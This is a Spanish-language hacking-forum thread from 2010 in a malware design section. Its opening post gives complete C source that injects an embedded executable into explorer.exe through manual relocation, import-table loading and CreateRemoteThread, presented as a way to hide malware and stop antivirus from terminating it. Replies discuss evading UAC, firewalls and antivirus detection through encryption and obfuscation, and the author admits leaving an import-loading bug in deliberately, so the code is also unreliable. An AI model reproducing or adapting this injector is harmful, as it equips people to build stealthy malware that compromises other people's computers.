Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: [Zero] en 8 Enero 2010, 01:22 am



Título: Inyección de archivos en un proceso [1 proceso 2 ejecutables]
Publicado por: [Zero] en 8 Enero 2010, 01:22 am
Inyección de Archivos en un Proceso

Cuando se habla de inyección de archivos o de inyección simplemente, se entiende por ello inyección en otro proceso, sin embargo, todos los códigos que vi sobre ésto (que no son pocos), no hacen propiamente una inyección, sinó que crean un proceso y se "inyectan" en el proceso creado, así podemos ver en mucho malware un proceso llamado "IEXPLORER.EXE" cuando no utilizamos ese navegador, un "msnmsgr.exe" cuando no tenemos el messenger abierto o dos procesos "explorer.exe" en ejecución.

Lo que hace éste código es inyectarse en 'explorer.exe', abriendo el proceso y creando un hilo hacia nuestro código con CreateRemoteThread. Ésto es bastante fácil de hacer cuando simplemente inyectamos un código, como puede ser una shellcode o algo así, pero la cosa cambia si queremos inyectar un ejecutable completo, no lo podemos cargar en el ImageBase puesto que seguramente ya estará ocupado por el ejecutable del explorer (00400000), y todas las direcciones virtuales absolutas (no relativas al imagebase) estarán rotas. Para solucionar éste problema he utilizado (como muchos ya habrán supuesto  :xD) la Relocation Table, pudiendo así con esa tabla inyectar mi ejecutable en un proceso remoto, rebasearlo y cargar la IAT. Luego con CreateRemoteThread se crea un hilo hacia el EntryPoint y ya tenemos dos ejecutables corriendo en un mismo proceso  :laugh:.

Aquí os dejo el código que inyecta en 'explorer.exe' un ejecutable que guarda en el resource:

Código
  1. #pragma comment (linker,"/NODEFAULTLIB")
  2. #pragma comment (linker,"/ENTRY:main")
  3.  
  4. #include <windows.h>
  5. #include <Tlhelp32.h>
  6. #include "resource.h"
  7.  
  8. int main()
  9. {
  10. PIMAGE_DOS_HEADER IDH;
  11. PIMAGE_NT_HEADERS INTH;
  12. PIMAGE_SECTION_HEADER ISH;
  13.  
  14. //Cargamos el resource
  15. HRSRC hResource=FindResourceA(NULL,(LPCSTR)MAKEINTRESOURCE(IDR_EXE1),"EXE");
  16. DWORD ResourceSize=SizeofResource(NULL,hResource);
  17. HGLOBAL hGlob=LoadResource(NULL,hResource);
  18. LPSTR lpFileMaped=(LPSTR)LockResource(hGlob);
  19.  
  20. //Obtenemos la cabecera DOS y PE en las estructuras
  21. IDH=(PIMAGE_DOS_HEADER)&lpFileMaped[0];
  22. INTH=(PIMAGE_NT_HEADERS)&lpFileMaped[IDH->e_lfanew];
  23.  
  24. DWORD PID=0;
  25. HANDLE hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
  26. PROCESSENTRY32 pInfo;
  27. pInfo.dwSize=sizeof(PROCESSENTRY32);
  28.  
  29. //Obtenemos el PID del 'explorer.exe'
  30. Process32First(hSnapshot,&pInfo);
  31. for(;lstrcmpA(pInfo.szExeFile,"explorer.exe");)
  32. {
  33. Process32Next(hSnapshot,&pInfo);
  34. }
  35. CloseHandle(hSnapshot);
  36. PID=pInfo.th32ProcessID;
  37.  
  38. //Abrimos el proceso en el que nos inyectaremos
  39. HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,PID);
  40.  
  41. //Creamos el buffer del tamaño del SizeOfImage en el que cargaremos el ejecutable
  42. LPSTR ExeBuffer=(LPSTR)VirtualAllocEx(hProcess,0,INTH->OptionalHeader.SizeOfImage,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
  43.  
  44. //Copiamos la cabecera DOS y PE al buffer
  45. WriteProcessMemory(hProcess,&ExeBuffer[0],&lpFileMaped[0],INTH->OptionalHeader.SizeOfHeaders,0);
  46.  
  47. //Copiamos las secciones en su VirtualOffset en el buffer
  48. for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
  49. {
  50. ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
  51. WriteProcessMemory(hProcess,&ExeBuffer[ISH->VirtualAddress],&lpFileMaped[ISH->PointerToRawData],ISH->SizeOfRawData,0);
  52. }
  53.  
  54. //Calculamos el delta entre la dirección del buffer y el ImageBase
  55. DWORD Delta=(((DWORD)ExeBuffer)-INTH->OptionalHeader.ImageBase);
  56.  
  57. //------------------------------------------------------------
  58. /* -Reubicamos la dirección base del ejecutable :D- */
  59. //------------------------------------------------------------
  60.  
  61. //Si no hay tabla de reubicación, salimos
  62. if(INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size==0)
  63. {
  64. MessageBoxA(0,"No hay relocation table!",0,0);
  65. return false;
  66. }
  67.  
  68. //Obteemos el Image Base Relocation
  69. //Copiamos el Image Base Relocation de los datos en el proceso a un buffer en el nuestro para
  70. //poder trabajar con él más comodamente
  71. PIMAGE_BASE_RELOCATION IBR=(PIMAGE_BASE_RELOCATION)GlobalAlloc(GPTR,sizeof(IMAGE_BASE_RELOCATION));
  72. PIMAGE_BASE_RELOCATION PIBR=(PIMAGE_BASE_RELOCATION)(ExeBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
  73. ReadProcessMemory(hProcess,(LPVOID)PIBR,IBR,sizeof(IMAGE_BASE_RELOCATION),0);
  74.  
  75. //Vamos recorriendo todas las etradas del bloque
  76. for (DWORD n=0;IBR->VirtualAddress>0;n++)
  77. {
  78. //Obtenemos el Bloque de reubicación
  79. LPSTR RelocationBlock=(LPSTR)(ExeBuffer+IBR->VirtualAddress);
  80.  
  81. //Obtenemos la primera entrada del bloque
  82. LPWORD RelocationEntry=(LPWORD)((LPSTR)PIBR+sizeof(IMAGE_BASE_RELOCATION));
  83.  
  84. //Recorremos todas las entradas del bloque
  85. for (DWORD i=0;i<((IBR->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))/2);i++,RelocationEntry++)
  86. {
  87. WORD valor;
  88. ReadProcessMemory(hProcess,RelocationEntry,&valor,2,0);
  89. //Obtenemos los 4 bits que definen el tipo de reubicación
  90. DWORD type=valor>>12;
  91.  
  92. //Obtenemos los 12 bits que definen la dirección de la reubicación
  93. DWORD offset=valor&0xFFF;
  94.  
  95. //Si el tipo de reubicación es relativo a la dirección base, añadimso el delta
  96. if(type==IMAGE_REL_BASED_HIGHLOW)
  97. {
  98. //Añadimos a la dirección que depende del imagebase original
  99. //el delta entre el imagebase y nuestra dirección base
  100. LPDWORD newAddr=(LPDWORD)(RelocationBlock+offset);
  101. DWORD NewValue;
  102. ReadProcessMemory(hProcess,newAddr,&NewValue,4,0);
  103. NewValue+=Delta;
  104. WriteProcessMemory(hProcess,newAddr,&NewValue,4,0);
  105. }
  106. }
  107.  
  108. //Vamos al siguiente bloque
  109. PIBR=(PIMAGE_BASE_RELOCATION)(((DWORD)PIBR)+IBR->SizeOfBlock);
  110. ReadProcessMemory(hProcess,(LPVOID)PIBR,IBR,sizeof(IMAGE_BASE_RELOCATION),0);
  111. }
  112. GlobalFree(IBR);
  113.  
  114.  
  115. //---------------------------------------------------------------------
  116. /* -Cargamos los valores de la IAT para poder llamar a las apis- */
  117. //---------------------------------------------------------------------
  118.  
  119. PIMAGE_THUNK_DATA ITD;
  120. PIMAGE_THUNK_DATA PITD;
  121. PIMAGE_IMPORT_BY_NAME IIBN;
  122.  
  123. //Comprobamos si hay Import Data Descriptor
  124. if (INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size>0)
  125. {
  126.  
  127. //Obtenemos el Import Data Descriptor
  128. //Copiamos el Import Data Descriptor de los datos en el proceso a un buffer en el nuestro para
  129. //poder trabajar con él más comodamente
  130. PIMAGE_IMPORT_DESCRIPTOR IID=(PIMAGE_IMPORT_DESCRIPTOR)GlobalAlloc(GPTR,sizeof(IMAGE_IMPORT_DESCRIPTOR));
  131. PIMAGE_IMPORT_DESCRIPTOR PIID=(PIMAGE_IMPORT_DESCRIPTOR)(ExeBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
  132. ReadProcessMemory(hProcess,(LPVOID)PIID,IID,sizeof(IMAGE_IMPORT_DESCRIPTOR),0);
  133.  
  134. //Vamos recorriendo todas las Dll's importadas por el ejecutable
  135. for (;IID->Name;)
  136. {
  137. //Obtenemos la longitud del nombre de la dll
  138. DWORD szName=0;
  139. CHAR miByte=1;
  140. for(int i=0;miByte;i++)
  141. {
  142. szName=i;
  143. ReadProcessMemory(hProcess,ExeBuffer+IID->Name+i,&miByte,1,0);
  144. }
  145.  
  146. //Obtenemos el nombre de la dll
  147. LPSTR lpName=(LPSTR)GlobalAlloc(GPTR,szName+1);
  148. ReadProcessMemory(hProcess,ExeBuffer+IID->Name,lpName,szName+1,0);
  149.  
  150. //Cargamos la dll
  151. HMODULE hLib=LoadLibraryA(lpName);
  152.  
  153. //Obtenemos la dirección al primer miembro del array Image Thunk Data's
  154. PITD=(PIMAGE_THUNK_DATA)((DWORD)ExeBuffer+IID->FirstThunk);
  155. ITD=(PIMAGE_THUNK_DATA)GlobalAlloc(GPTR,sizeof(IMAGE_THUNK_DATA));
  156. ReadProcessMemory(hProcess,PITD,ITD,sizeof(IMAGE_THUNK_DATA),0);
  157.  
  158. //Vamos recorriendo las funciones importadas
  159. for (;ITD->u1.Ordinal;)
  160. {
  161. miByte=1;
  162. //Obtenemos la longitud del nombre de la API
  163. for(int i=0;miByte;i++)
  164. {
  165. szName=i;
  166. LPSTR puntero=ExeBuffer+ITD->u1.Function+2;
  167. puntero+=i;
  168. ReadProcessMemory(hProcess,puntero,&miByte,1,0);
  169. }
  170.  
  171. //Cargamos el Image Import By Name para obtener el nombre
  172. IIBN=(PIMAGE_IMPORT_BY_NAME)GlobalAlloc(GPTR,sizeof(IMAGE_IMPORT_BY_NAME)+szName);
  173. ReadProcessMemory(hProcess,ExeBuffer+ITD->u1.Function,IIBN,sizeof(IMAGE_IMPORT_BY_NAME)+szName,0);
  174.  
  175. //Obtenemos la dirección de la función y la guardamos en la IAT
  176. DWORD lpAPI=(DWORD)GetProcAddress(hLib,(LPCSTR)&IIBN->Name);
  177. WriteProcessMemory(hProcess,ExeBuffer+IID->FirstThunk,&lpAPI,4,0); /* Ejem!! Vaya metedura xD */
  178.  
  179. PITD++;
  180. ReadProcessMemory(hProcess,PITD,ITD,sizeof(IMAGE_THUNK_DATA),0);
  181. }
  182. PIID++;
  183. ReadProcessMemory(hProcess,(LPVOID)PIID,IID,sizeof(IMAGE_IMPORT_DESCRIPTOR),0);
  184. GlobalFree(lpName);
  185. GlobalFree(ITD);
  186. }
  187. GlobalFree(IID);
  188. }
  189.  
  190. //Obteemos el EntryPoint de ejecutable que cargamos en el buffer
  191. DWORD EntryPoint=((DWORD)ExeBuffer)+INTH->OptionalHeader.AddressOfEntryPoint;
  192.  
  193. //Llamamos al EntryPoint
  194. CreateRemoteThread(hProcess,0,0,(LPTHREAD_START_ROUTINE)EntryPoint,0,0,0);
  195.  
  196. return 0;
  197. }
  198.  

Descargar Source (http://www.megaupload.com/?d=DU3SQ09G)

APLICACIONES

La primera aplicación que salta a la vista es la ocultación, si nos podemos inyectar en un proceso evitamos tener que usar otras técnicas para ocultar nuestro proceso, y a la vez nos proporciona protección frente a un antivirus o algún programa de protección que trate de terminar el proceso, puesto que de hacerlo (como seguro hará), terminará la ejecución de los dos ejecutables, el nuestro y el exporer.

Otra aplicación que se me ocurre es un poco más complicada de explicar que espero poder presentar el código en breve, seguro a muchos les gustará  ;).

Saludos


Título: Re: Inyección de archivos en un proceso [1 proceso 2 ejecutables]
Publicado por: [L]ord [R]NA en 8 Enero 2010, 01:27 am
:xD desde que me hablaste esta tarde diciendome que estabas buscando esto estaba ansioso esperandolo :¬¬ :¬¬




Título: Re: Inyección de archivos en un proceso [1 proceso 2 ejecutables]
Publicado por: isseu en 8 Enero 2010, 01:44 am
excelente, gracias!
ansioso de la 2da aplicacion


Título: Re: Inyección de archivos en un proceso [1 proceso 2 ejecutables]
Publicado por: Jaixon Jax en 8 Enero 2010, 03:26 am
  ;-)  ;-)  ;-)  ;-)

  Gracias Hacker_Zero esta tremendo el code ........

  Justo ahora que termine un juguete por alli que lo programe como exe y no como dll a tenido muchos problemas con el UAC y los Firewall pero eso son como las tortuguitas cuando nacen, muchas mueren en el camino pero algunas pocas llegan al mar  :xD supongon que con algo como esto podre inyectarlo y salvarme de los firewall por lo menos.... mi duda es si esto funciona en seven o necesita privilegios ? .....


  Saludos .....
  


Título: Re: Inyección de archivos en un proceso [1 proceso 2 ejecutables]
Publicado por: topoman en 8 Enero 2010, 08:42 am
 ;-) ;-) ;-)

Muy bueno Hacker_Zero... muchisimas gracias por el aporte... de verdad que te lo curras un huevo y lo mas de agradecer, explicas y posteas los fuentes...eres  toda una referencia.

Chincheta por favor....


Título: Re: Inyección de archivos en un proceso [1 proceso 2 ejecutables]
Publicado por: BlackZeroX en 8 Enero 2010, 08:53 am
o gracias lo traduciré a vb6 en cuanto pueda

Dulces lunas!¡.


Título: Re: Inyección de archivos en un proceso [1 proceso 2 ejecutables]
Publicado por: [Zero] en 8 Enero 2010, 11:44 am
 ;-)  ;-)  ;-)  ;-)

  Gracias Hacker_Zero esta tremendo el code ........

  Justo ahora que termine un juguete por alli que lo programe como exe y no como dll a tenido muchos problemas con el UAC y los Firewall pero eso son como las tortuguitas cuando nacen, muchas mueren en el camino pero algunas pocas llegan al mar  :xD supongon que con algo como esto podre inyectarlo y salvarme de los firewall por lo menos.... mi duda es si esto funciona en seven o necesita privilegios ? .....


  Saludos .....
  

Bueno yo uso win7 y me funciona, pero tengo el UAC desactivado, supongo que dará un chivatazo cuanto abres otro proceso  :P.

Saludos

Edito: No, parece que sobrevaloré el UAC, con el nivel de control a tope no dice nada  :rolleyes:.


Título: Re: Inyección de archivos en un proceso [1 proceso 2 ejecutables]
Publicado por: [L]ord [R]NA en 8 Enero 2010, 17:37 pm
:xD osea que la UAC no sirvio para evitar eso...


Título: Re: Inyección de archivos en un proceso [1 proceso 2 ejecutables]
Publicado por: Jaixon Jax en 8 Enero 2010, 17:59 pm
  Pues por lo visto no  :rolleyes: habria que probarlo con Kasperesky a ver lastima que este source no va ha durar mas de un mes fud  :-( de todos modos yo ya estoy haciendo una cutre version con las Apis encriptadas  >:D .....


Título: Re: Inyección de archivos en un proceso [1 proceso 2 ejecutables]
Publicado por: [L]ord [R]NA en 8 Enero 2010, 18:08 pm
  Pues por lo visto no  :rolleyes: habria que probarlo con Kasperesky a ver lastima que este source no va ha durar mas de un mes fud  :-( de todos modos yo ya estoy haciendo una cutre version con las Apis encriptadas  >:D .....

Posiblemente dure mas tiempo... ASM Rlz :¬¬ :¬¬


Título: Re: Inyección de archivos en un proceso [1 proceso 2 ejecutables]
Publicado por: [Zero] en 8 Enero 2010, 18:17 pm
Que detecten el código es lo de menos, la idea ya no nos la pueden quitar, y la idea de puede escribir de mil formas diferentes  :).

Lo que si tengo ganas de ver es un antivirus que mate el explorer cada vez que nos inyectamos  :xD.

Saludos


Título: Re: Inyección de archivos en un proceso [1 proceso 2 ejecutables]
Publicado por: [L]ord [R]NA en 8 Enero 2010, 20:04 pm
Que detecten el código es lo de menos, la idea ya no nos la pueden quitar, y la idea de puede escribir de mil formas diferentes  :).

Lo que si tengo ganas de ver es un antivirus que mate el explorer cada vez que nos inyectamos  :xD.

Saludos

mmm no podias decir simplemente Obfuscar?


Título: Re: Inyección de archivos en un proceso [1 proceso 2 ejecutables]
Publicado por: [Zero] en 8 Enero 2010, 20:49 pm
Bueno, hoy haciendo una cosilla con éste code me di cuenta de que cometí algunos errores  :xD. Uno aquí:

Código
  1. miByte=1; //<<<<------ Habrá que inicializara a 1 ese byte no? sino pasan cosas malas xD
  2. //Obtenemos la longitud del nombre de la API
  3. for(int i=0;miByte;i++)
  4. {
  5. szName=i;
  6. LPSTR puntero=ExeBuffer+ITD->u1.Function+2;
  7. puntero+=i;
  8. ReadProcessMemory(hProcess,puntero,&miByte,1,0);
  9. }
  10.  

Lo cambié ya en el post principal, y hay otro error, pero no lo voy a corregir  >:D.

Está cuando el ejecutable trata de cargar la IAT (voy a ser bueno y voy a marcar la zona donde está), es una metedura de pata bastante gorda así que quien sepa de que va la IAT debería ser quien de arreglarlo, y quien no, demuestra que debe leerse más sobre el tema antes de usar el código  ;D.

Tal y como está sólo carga bien una API por DLL

Saludos


Título: Re: Inyección de archivos en un proceso [1 proceso 2 ejecutables]
Publicado por: Jaixon Jax en 8 Enero 2010, 20:57 pm
Citar
Lo cambié ya en el post principal, y hay otro error, pero no lo voy a corregir  .

   :-\  jaja no todo en la vida es facil XD  :P


Título: Re: Inyección de archivos en un proceso [1 proceso 2 ejecutables]
Publicado por: [Zero] en 8 Enero 2010, 20:59 pm
Bueno, marqué la línea exacta donde está la zancada, y lo subrayado de arriba da una buena pista jeje. Así nos aseguramos de que no pase lo que pasó con el famoso "RunPE"  :xD.

Saludos

Edito: Aún sin corregirlo alguien puede ser ingenioso chapuzas y hacer que el exe que inyecte sólo importe GetProcAdress y el resto ya lo va cargando con esa   :laugh:.


Título: Re: Inyección de archivos en un proceso [1 proceso 2 ejecutables]
Publicado por: [L]ord [R]NA en 8 Enero 2010, 21:19 pm
Bueno, marqué la línea exacta donde está la zancada, y lo subrayado de arriba da una buena pista jeje. Así nos aseguramos de que no pase lo que pasó con el famoso "RunPE"  :xD.

Saludos

Edito: Aún sin corregirlo alguien puede ser ingenioso chapuzas y hacer que el exe que inyecte sólo importe GetProcAdress y el resto ya lo va cargando con esa   :laugh:.

mmm para que voy a cargar una API en la IAT... vivan los ShellCode!!! :xD


Título: Re: Inyección de archivos en un proceso [1 proceso 2 ejecutables]
Publicado por: E.P.I. en 8 Enero 2010, 23:09 pm
Argh!!!!! Sí señor Hacker_Zero es el mejor!!! Perdón... ya me hablaste de algó así... yo no lo entendía pero ahora sí!!! Qué guapo el code!!! Muchísimas gracias por todo!!!!

PD: Y a estudiarlo!!! :D


Título: Re: Inyección de archivos en un proceso [1 proceso 2 ejecutables]
Publicado por: [L]ord [R]NA en 9 Enero 2010, 00:20 am
Argh!!!!! Sí señor Hacker_Zero es el mejor!!! Perdón... ya me hablaste de algó así... yo no lo entendía pero ahora sí!!! Qué guapo el code!!! Muchísimas gracias por todo!!!!

PD: Y a estudiarlo!!! :D

:¬¬ :¬¬ Proximamente E.P.I. hara un grupo en FaceBook  (CHZ)... Culto a Hacker Zero :xD :xD


Título: Re: Inyección de archivos en un proceso [1 proceso 2 ejecutables]
Publicado por: E.P.I. en 9 Enero 2010, 15:10 pm
Argh!!!!! Sí señor Hacker_Zero es el mejor!!! Perdón... ya me hablaste de algó así... yo no lo entendía pero ahora sí!!! Qué guapo el code!!! Muchísimas gracias por todo!!!!

PD: Y a estudiarlo!!! :D

:¬¬ :¬¬ Proximamente E.P.I. hara un grupo en FaceBook  (CHZ)... Culto a Hacker Zero :xD :xD
¿A si? A sí... vale, pero tu haces de administrador.  :xD


Título: Re: Inyección de archivos en un proceso [1 proceso 2 ejecutables]
Publicado por: E.P.I. en 9 Enero 2010, 16:04 pm
Bueno, pues lo prometido es deuda: Grupo en Twitter, culto a Hacker_Zero (http://twitter.com/#/list/E_P_I/culto-a-hacker-zero).
No lo he hecho en FaceBook por una cuestión de nombres y tal... RNA, tu tienes que ser el admin!


Título: Re: Inyección de archivos en un proceso [1 proceso 2 ejecutables]
Publicado por: Jaixon Jax en 9 Enero 2010, 16:58 pm
Bueno, pues lo prometido es deuda: Grupo en Twitter, culto a Hacker_Zero (http://twitter.com/#/list/E_P_I/culto-a-hacker-zero).
No lo he hecho en FaceBook por una cuestión de nombres y tal... RNA, tu tienes que ser el admin!

   ;D


Título: Re: Inyección de archivos en un proceso [1 proceso 2 ejecutables]
Publicado por: river_0119 en 26 Diciembre 2010, 14:55 pm
ya corregi la linea, pero aun no funciona :-X

debe tener otro error por algun otro lado, voy a seguir intentando ;D



Título: Re: Inyección de archivos en un proceso [1 proceso 2 ejecutables]
Publicado por: [Zero] en 26 Diciembre 2010, 14:57 pm
Guíate por éste código:
Código:
http://foro.elhacker.net/analisis_y_diseno_de_malware/srccasm_clshookapi-t281292.0.html

Saludos


Título: Re: Inyección de archivos en un proceso [1 proceso 2 ejecutables]
Publicado por: river_0119 en 26 Diciembre 2010, 18:24 pm
gracias por responder pronto

vaya que he modificado el code, pero aun asi no jala :-(

tambien prove el hookapi y no anda en mi pc

seguire probando a ver que tal me va  :)


Título: Re: Inyección de archivos en un proceso [1 proceso 2 ejecutables]
Publicado por: Cromatico en 14 Junio 2013, 15:09 pm
Buen dia gente! Una consulta, es posible tener en un mismo proceso, un proyecto de vb6 por ejemplo, y otro de vb.net?
Saludos!